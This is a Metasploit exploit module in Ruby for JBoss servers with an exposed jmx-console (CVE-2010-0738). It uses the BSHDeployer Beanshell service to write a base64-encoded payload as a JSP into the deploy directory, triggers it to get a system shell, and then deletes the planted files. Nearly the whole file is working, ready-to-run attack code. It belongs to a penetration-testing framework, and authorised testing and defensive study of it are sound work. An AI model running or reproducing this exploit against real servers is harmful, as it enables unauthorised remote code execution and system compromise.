##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	HttpFingerprint = { :pattern => [ /(Jetty|JBoss)/ ] }

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'			=> 'JBoss JMX Console Beanshell Deployer WAR upload and deployment',
			'Description'	=> %q{
					This module can be used to install a WAR file payload on JBoss servers that have
				an exposed "jmx-console" application. The payload is put on the server by
				using the jboss.system:BSHDeployer\'s createScriptDeployment() method.
			},
			'Author'       =>
				[
					'Patrick Hof',
					'jduck',
					'Konrads Smelkovs'
				],
			'License'		=> BSD_LICENSE,
			'Version' 		=> '$Revision$',
			'References'	=>
				[
					[ 'CVE', '2010-0738' ], # using a VERB other than GET/POST
					[ 'URL', 'http://www.redteam-pentesting.de/publications/jboss' ],
					[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=574105' ],
				],
			'Privileged'   => true,
			'Platform'     => [ 'windows', 'linux' ],
			'Stance'       => Msf::Exploit::Stance::Aggressive,
			'Targets'		=>
				[
					[ 'Universal',
						{
							'Arch' => ARCH_JAVA,
							'Payload' =>
							{
								'DisableNops' => true
							},
						}
					],
				],
			'DisclosureDate' => "Apr 26 2010",
			'DefaultTarget'  => 0))

		register_options(
			[
				Opt::RPORT(8080),
				OptString.new('USERNAME',	[ false, 'The username to authenticate as' ]),
				OptString.new('PASSWORD',	[ false, 'The password for the specified username' ]),
				OptString.new('SHELL',		[ false, 'The system shell to use', 'auto' ]),
				OptString.new('JSP',		   [ false, 'JSP name to use without .jsp extension (default: random)', nil ]),
				OptString.new('APPBASE',	[ false, 'Application base name, (default: random)', nil ]),
				OptString.new('PATH',		[ true,  'The URI path of the JMX console', '/jmx-console' ]),
				OptString.new('VERB',		[ true,  'The HTTP verb to use (for CVE-2010-0738)', 'POST' ]),
				OptString.new('PACKAGE',   [ true,  'The package containing the BSHDeployer service', 'auto' ])
			], self.class)
	end


	def exploit
		datastore['BasicAuthUser']	= datastore['USERNAME']
		datastore['BasicAuthPass']	= datastore['PASSWORD']

		jsp_name = datastore['JSP'] || rand_text_alphanumeric(8+rand(8))
		app_base = datastore['APPBASE'] || rand_text_alphanumeric(8+rand(8))

		verb = datastore['VERB']
		if (verb != 'GET' and verb != 'POST')
			verb = 'HEAD'
		end

		p = payload
		if datastore['SHELL'] == 'auto'
			if verb != 'HEAD'
				if not (plat = detect_platform())
					raise RuntimeError, 'Unable to detect platform!'
				end

				case plat
				when 'linux'
					datastore['SHELL'] = '/bin/sh'
				when 'win'
					datastore['SHELL'] = 'cmd.exe'
				end

				print_status("SHELL set to #{datastore['SHELL']}")
			else
				raise RuntimeError, 'Platform detection with HEAD is not supported, please set SHELL manually'
			end

			# Payload generation already happened, therefore SHELL will
			# already be 'automatic' in the payload regardless of what we set above.
			# To fix this, we regenerate the payload now..
			return if ((p = exploit_regenerate_payload(platform, target_arch)) == nil)
		end

		# The following Beanshell script will write the exploded WAR file to the deploy/
		# directory
		encoded_payload = [p.encoded].pack('m').gsub(/\n/, '')
		bsh_script = <<-EOT
import java.io.FileOutputStream;
import sun.misc.BASE64Decoder;

String val = "#{encoded_payload}";

BASE64Decoder decoder = new BASE64Decoder();
String jboss_home = System.getProperty("jboss.server.home.dir");
new File(jboss_home + "/deploy/#{app_base + '.war'}").mkdir();
byte[] byteval = decoder.decodeBuffer(val);
String jsp_file = jboss_home + "/deploy/#{app_base + '.war/' + jsp_name + '.jsp'}";
FileOutputStream fstream = new FileOutputStream(jsp_file);
fstream.write(byteval);
fstream.close();
EOT


		#
		# UPLOAD
		#
		print_status("Creating exploded WAR in deploy/#{app_base}.war/ dir via BSHDeployer")
		if datastore['PACKAGE'] == 'auto'
			packages = %w{ deployer scripts }
		else
			packages = [ datastore['PACKAGE'] ]
		end

		pkg = nil
		success = false
		packages.each do |p|
			print_status("Attempting to use '#{p}' as package")
			res = invoke_bshscript(bsh_script, p, verb)
			if !res
				raise RuntimeError, "Unable to deploy WAR [No Response]"
			end

			if (res.code < 200 || res.code >= 300)
				case res.code
				when 401
					print_error("Warning: The web site asked for authentication: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}")
				end
				print_error("Upload to deploy WAR [#{res.code} #{res.message}]")
			else
				success = true
				pkg = p
				break
			end
		end

		if not success
			raise RuntimeError("Deployment failed")
		end


		#
		# EXECUTE
		#
		uri = '/' + app_base + '/' + jsp_name + '.jsp'
		print_status("Executing #{uri}...")

		# JBoss might need some time for the deployment. Try 5 times at most and
		# wait 5 seconds inbetween tries
		num_attempts = 5
		num_attempts.times { |attempt|
			res = send_request_cgi({
				'uri'     => uri,
				'method'  => verb
			}, 20)

			msg = nil
			if (! res)
				msg = "Execution failed on #{uri} [No Response]"
			elsif (res.code < 200 or res.code >= 300)
				msg = "Execution failed on #{uri} [#{res.code} #{res.message}]"
			elsif (res.code == 200)
				print_good("Successfully triggered payload at '#{uri}'")
				break
			end

			if (attempt < num_attempts - 1)
				msg << ", retrying in 5 seconds..."
				print_error(msg)

				select(nil, nil, nil, 5)
			else
				print_error(msg)
			end
		}


		#
		# DELETE
		#
		# The WAR can only be removed by physically deleting it, otherwise it
		# will get redeployed after a server restart.
		bsh_script = <<-EOT
String jboss_home = System.getProperty("jboss.server.home.dir");
new File(jboss_home + "/deploy/#{app_base + '.war/' + jsp_name + '.jsp'}").delete();
new File(jboss_home + "/deploy/#{app_base + '.war'}").delete();
EOT

		print_status("Undeploying #{uri} by deleting the WAR file via BSHDeployer...")
		res = invoke_bshscript(bsh_script, pkg, verb)
		if !res
			print_error("WARNING: Unable to remove WAR [No Response]")
		end
		if (res.code < 200 || res.code >= 300)
			print_error("WARNING: Unable to remove WAR [#{res.code} #{res.message}]")
		end

		handler
	end

	# Try to autodetect the target platform
	def detect_platform()
		print_status("Attempting to automatically detect the platform...")

		path = datastore['PATH'] + '/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo'
		res = send_request_raw(
			{
				'uri'    => path
			}, 20)

		if (not res) or (res.code != 200)
			print_error("Failed: Error requesting #{path}")
			return nil
		end

		if (res.body =~ /<td.*?OSName.*?(Linux|FreeBSD|Windows).*?<\/td>/m)
			os = $1
			if (os =~ /Linux/i)
				return 'linux'
			elsif (os =~ /FreeBSD/i)
				return 'linux'
			elsif (os =~ /Windows/i)
				return 'win'
			end
		end
		nil
	end


	# Invokes +bsh_script+ on the JBoss AS via BSHDeployer
	def invoke_bshscript(bsh_script, pkg, verb)
		params =  'action=invokeOpByName'
		params << '&name=jboss.' + pkg + ':service=BSHDeployer'
		params << '&methodName=createScriptDeployment'
		params << '&argType=java.lang.String'
		params << '&arg0=' + Rex::Text.uri_encode(bsh_script)
		params << '&argType=java.lang.String'
		params << '&arg1=' + rand_text_alphanumeric(8+rand(8)) + '.bsh'

		if (verb == "POST")
			res = send_request_cgi({
				'method'	=> verb,
				'uri'		=> datastore['PATH'] + '/HtmlAdaptor',
				'data'	=> params
			})
		else
			res = send_request_cgi({
				'method'	=> verb,
				'uri'		=> datastore['PATH'] + '/HtmlAdaptor?' + params
			})
		end
		res
	end
end